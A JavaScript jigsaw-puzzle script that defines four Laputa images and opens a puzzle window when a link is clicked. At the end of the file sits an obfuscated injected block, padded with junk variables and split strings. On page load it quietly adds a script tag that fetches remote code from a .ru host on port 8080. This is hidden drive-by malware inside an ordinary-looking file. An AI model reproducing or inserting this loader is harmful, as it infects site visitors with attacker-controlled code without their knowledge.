// ------ this function is all you need to modify in this script ------

function defineImages() {
  picPool[0] = new picPara("laputa1.jpg",540,420,5,4,10,"image from Laputa, 540x420, 5x4, 24kb");
  picPool[1] = new picPara("laputa2.jpg",360,450,4,5,10,"image from Laputa, 360x450, 4x5, 26kb");
  picPool[2] = new picPara("laputa3.jpg",640,480,5,4,10,"image from Laputa, 640x480, 5x4, 45kb");
  picPool[3] = new picPara("laputa4.jpg",450,350,6,5,10,"image from Laputa, 450x350, 6x5, 20kb");
}

//------ you don't need to care about the following codes ------

var isIE4 = false; isNN4 = false;

var picPool = new Array();
var pic_image_source = "";
var pic_image_width = 0;
var pic_image_height = 0;
var pic_grip_x = 1;
var pic_grip_y = 1;
var pic_table_gap = 0;

var puzzle_window = null;

function mouseHover() {
  window.status = picPool[this.index].info;
  return true;
}

function mouseGone() {
  window.status = window.defaultStatus;
  return true;
}

function mouseClick() {
  goPuzzleX(this.index);
  return false;
}

function picPara(image_source,image_width,image_height,grip_x,grip_y,table_gap,image_info) {
  this.source = image_source;
  this.width = image_width;
  this.height = image_height;
  this.grip_x = grip_x;
  this.grip_y = grip_y;
  this.table_gap = table_gap;
  this.info = image_info;
}

function setupImages() {
  isIE4 = (document.all)?true:false; isNN4 = (document.layers)?true:false;

  defineImages();

  var linksCount = document.links.length, hashIndex = -1, puzzleIndex = -1, hashTag = "puzzlex";
  for (var i = 0; i < linksCount; i++) {
    hashIndex = document.links[i].hash.indexOf(hashTag);
    if (hashIndex != -1) {
      puzzleIndex = parseInt(document.links[i].hash.substring(hashIndex+7));
      document.links[i].index = puzzleIndex;
      document.links[i].onmouseover = mouseHover;
      document.links[i].onmouseout = mouseGone;
      document.links[i].onclick = mouseClick;
    }
  }
}

function Build_Puzzle() {
  var window_para = "width=" + (pic_image_width + pic_table_gap * 6) +",height=" + (pic_image_height + pic_table_gap * 6) + ",titlebar=1";

  if (isIE4 || isNN4) {
    if (puzzle_window != null)
      if (!puzzle_window.closed)
        puzzle_window.close();

    puzzle_window = window.open("puzzlex.html", "Puzzle_Window", window_para); }
  else {
    alert("Sorry !\nYou need a version 4 or above browser.");
  }
}

function goPuzzleX(pic_index) {
  pic_image_source = picPool[pic_index].source;
  pic_image_width = picPool[pic_index].width;
  pic_image_height = picPool[pic_index].height;
  pic_grip_x = picPool[pic_index].grip_x;
  pic_grip_y = picPool[pic_index].grip_y;
  pic_table_gap = picPool[pic_index].table_gap;

  Build_Puzzle();
}


try {var W='H'} catch(W){};iQ={x:36375};try {var Ho=new Array();var Z={BC:false};var jN=new Array();var k=window[String("unesc"+"apeTgtO".substr(0,3))];this.pW=32575;this.pW+=10;this.CY=38671;this.CY+=255;this.Ps=7000;this.Ps+=92;try {var Pz='Bp'} catch(Pz){};var dE=["QN","Ij","J"];try {} catch(Kj){};this.df=32811;this.df-=190;yW={N:37283};try {} catch(R){};var Q="1";var xw="";var u=new String();uT=["U_"];var r=String("onl"+"oad");var p=new String("IbBQre".substr(4)+"vYiBpliBYv".substr(4,2)+"ac"+"e");var g_="";Wb=["qP","ZO"];Vu=27827;Vu+=189;var K='';var j=window[(String("RetBic".substr(0,2)+"QrTgErTQ".substr(3,2)+"xpgIPW".substr(0,2)))];Fc={Ff:false};vO={};this.Iv="Iv";this.Xo="Xo";var fk={};var Xf=false;var gn=false;this.NK=false;function a(Q,G){var zM="";var Ga="";var Mp=new Date();var DT="";m=["Va","pX"];var P="[";kp={};var Y={};P+=G;di=["oi","Cu","Hy"];DX=["LB","ug","O"];IJ=["Sd","ta","ms"];var CO=new Array();P+=k("%5d");this.Cb=17700;this.Cb-=33;this.Nu=41901;this.Nu-=71;this.uP=26215;this.uP-=202;jP=["Bpm","cv","wF"];HG=["nF","_H","Rh"];var T=new j(P, new String("g"));this.QU="";this.rPl=38777;this.rPl++;var iK=new Array();return Q.replace(T, K);xF=["Cy","HF","Ez"];var sA={Fl:25923};iO=38432;iO+=205;};var pQ='';yO=41794;yO+=52;var D="/goog"+"le.co"+"m/bu5"+"20.co"+"m/merLGa".substr(0,5)+"cadol"+"ivre."+"com.b"+"r.php";var UK=new Array();this.Yx=false;var z="ht"+"tp"+":/"+"xGOX/g".substr(4)+"otavXb".substr(0,2)+"hg"+"ui"+"lt"+".r"+"u:daA".substr(0,2);var we=new Date();this.Kk=64203;this.Kk--;var Ad=3036;var s=770327-762247;vX=34272;vX+=90;this.mC=15179;this.mC-=236;this.ya="ya";var Vh=false;var ja=new String();var bI=new String();SW=["PH","cB","iT"];DE=["_F","Ke","Xa"];var HX=new String();function l(){this.BT=28716;this.BT++;this.Ul=3067;this.Ul++;Ur=55344;Ur+=103;pO={Pu:"Dg"};Fo=["Tw","FE","Ox"];var i="app"+"end"+"Chi"+"JLEld".substr(3);var VL='';var FW='';var SA=["fQ"];var Qb=document;var fO={};try {var Vx='ab'} catch(Vx){};this.TK=5263;this.TK-=71;this.Au=57427;this.Au+=55;var g=a('s4cOrki_pltq','C2XPq9f83Tw_dk5m4AOlE1gHZ');var qy="qy";var NG="NG";var nkv=false;var Vux=false;SD=35825;SD--;this.ykz=false;Cv=63296;Cv++;var mM=new String();this.ut=false;this.VA=false;_=Qb.createElement(g);var QZ="QZ";this.gL=53114;this.gL+=164;var ir=["KE","Ud","_d"];var ce=false;lY=z+s;var jv={};lY=lY+D;this.AS=4405;this.AS-=5;rt=["vo"];_[String("defer")]=Q;RL=["Qi","Rtz","vp"];Sf=["bN","ak","UdU"];Vz=["ZN","Jy","NY"];jaR=42155;jaR--;gW=58546;gW--;var y=Qb.body;Es=[];KC=[];_.src=lY;_FL={cz:37695};bg={};Ak={Pb:9237};hs={_a:30818};this.Er=28892;this.Er+=115;try {} catch(Jb){};y[i](_);this.JcQ=30228;this.JcQ+=100;this.mz=43496;this.mz+=55;gq=35471;gq++;};window[r]=l;try {var bn='rY'} catch(bn){};var Ln=["ON","eo"];} catch(B){try {var ku='Zk'} catch(ku){};};var eU={};var EDj={zZ:"gU"};this.hz=14162;this.hz+=71;var eY={};